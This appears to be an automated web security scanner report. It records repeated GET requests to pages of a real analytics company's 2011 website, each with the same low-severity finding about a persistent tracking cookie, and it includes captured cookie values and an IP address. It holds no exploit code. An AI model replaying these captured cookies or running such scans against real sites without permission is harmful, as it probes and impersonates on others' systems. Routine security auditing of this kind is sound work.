HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:40:05 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:40:05 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:40:05 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:40:05 GMT; path=/; domain=omniture.com Content-Length: 44076
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Award-Winning Innovation | Web ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/company/press_room/news HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:39:47 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:39:47 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:39:47 GMT Content-Length: 23629 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:39:47 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture in the News | Online B ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/company/press_room/press_releases HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:39:35 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:39:35 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:39:35 GMT Content-Length: 23061 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:39:35 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Press | Online Busines ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/contact HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:45:56 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:45:56 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:45:56 GMT Content-Length: 23242 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:45:56 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Contact Omniture | Web Analytic ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/contact/company HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:48:56 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:48:56 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:48:57 GMT Content-Length: 21394 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:48:56 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Contact Omniture | Company Info ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/contact/email HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:48:34 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:48:34 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:48:35 GMT Content-Length: 22793 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:48:34 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Send Omniture an E-mail | Onlin ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/contact/feedback HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:46:02 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:46:02 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:46:02 GMT Content-Length: 21572 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:46:02 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Contact Omniture | Feedback</ti ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/contact/offices HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:47:50 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:47:50 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:47:50 GMT Content-Length: 26307 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:47:50 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Contact Omniture | Office locat ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/contact/sales HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:46:05 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:46:05 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:46:05 GMT Content-Length: 30936 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:46:05 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Request Information | Online Bu ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/contact/support HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:46:04 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:46:04 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:46:04 GMT Content-Length: 22748 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:46:04 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Contact Omniture | Support</tit ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:05:27 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:05:27 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:05:27 GMT Content-Length: 23085 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:05:27 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services ... Lea ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/academic_initiative HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:11:51 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:11:51 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:11:52 GMT Content-Length: 29263 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:11:51 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture Education | Academic I ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:08:55 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:08:55 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:08:55 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:08:55 GMT; path=/; domain=omniture.com Content-Length: 34032
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Partner Certification | Online ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification/implementation HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:10:36 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:10:36 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:10:37 GMT Content-Length: 29450 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:10:36 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services: Certif ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification/insight_analyst HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:10:39 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:10:39 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:10:40 GMT Content-Length: 30492 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:10:39 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services: Certif ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification/insight_architect HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:10:46 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:10:46 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:10:47 GMT Content-Length: 31189 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:10:46 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Adobe Training Services: Certif ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/education/certification/search_center HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
